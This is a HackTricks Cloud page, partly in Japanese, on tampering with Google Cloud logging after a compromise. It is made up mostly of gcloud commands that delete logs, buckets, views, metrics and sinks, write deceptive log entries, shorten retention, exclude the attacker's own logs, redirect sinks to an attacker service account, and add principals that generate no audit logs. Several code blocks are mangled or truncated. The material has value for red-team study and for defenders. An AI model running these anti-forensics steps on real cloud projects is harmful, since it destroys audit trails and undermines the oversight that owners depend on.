GCP - Logging Post Exploitation
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
基本情報
For more information check:
For other ways to disrupt monitoring check:
GCP - Monitoring Post Exploitation
デフォルトのロギング
デフォルトでは、読み取り操作だけでは検知されません。詳細は Logging Enum セクションを参照してください。
Excepted Principal を追加
In https://console.cloud.google.com/iam-admin/audit/allservices and https://console.cloud.google.com/iam-admin/audit is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
ログの読み取り - logging.logEntries.list
ログエントリの読み取り
```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=jsonEverything from a timestamp
gcloud logging read “timestamp >= "2023-01-01T00:00:00Z"” –limit=10 –format=json
Use these options to indicate a different bucket or view to use: –bucket=_Required –view=_Default
</details>
### `logging.logs.delete`
<details>
<summary>ログエントリを削除</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
ログを書き込む - logging.logEntries.create
ログエントリを作成
```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ```logging.buckets.update
ログ バケットの保持期間を更新
```bash # Set retention period to 1 day (_Required has a fixed one of 400days)gcloud logging buckets update bucketlog –location=
</details>
### `logging.buckets.delete`
<details>
<summary>ログバケットを削除</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
logging.links.delete
ログリンクを削除
```bash # Delete link gcloud logging links deletelogging.views.delete
ログビューを削除
```bash # Delete a logging view to remove access to anyone using it gcloud logging views deletelogging.views.update
logging view を更新してデータを隠す
```bash # Update a logging view to hide data gcloud logging views updatelogging.logMetrics.update
ログベースのメトリクスを更新
```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics updatelogging.logMetrics.delete
ログベースのメトリクスを削除する
```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics deletelogging.sinks.delete
ログシンクを削除
```bash # Delete sink - logging.sinks.delete gcloud logging sinks deletelogging.sinks.update
ログシンクの更新/妨害
```bash # Disable sink - logging.sinks.update gcloud logging sinks updateCreatea filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME –add-exclusion=“name=exclude-info-logs,filter=severity<INFO”
Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update
Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME –custom-writer-identity=attacker-service-account-email –project=PROJECT_ID
Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME –clear-exclusions
If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME –use-partitioned-tables gcloud logging sinks update SINK_NAME –no-use-partitioned-tables
</details>
> [!TIP]
> 学んで実践する AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学んで実践する GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学んで実践する Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks をサポートする</summary>
>
> - [**subscription plans**](https://github.com/sponsors/carlospolop) を確認してください!
> - **参加する** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

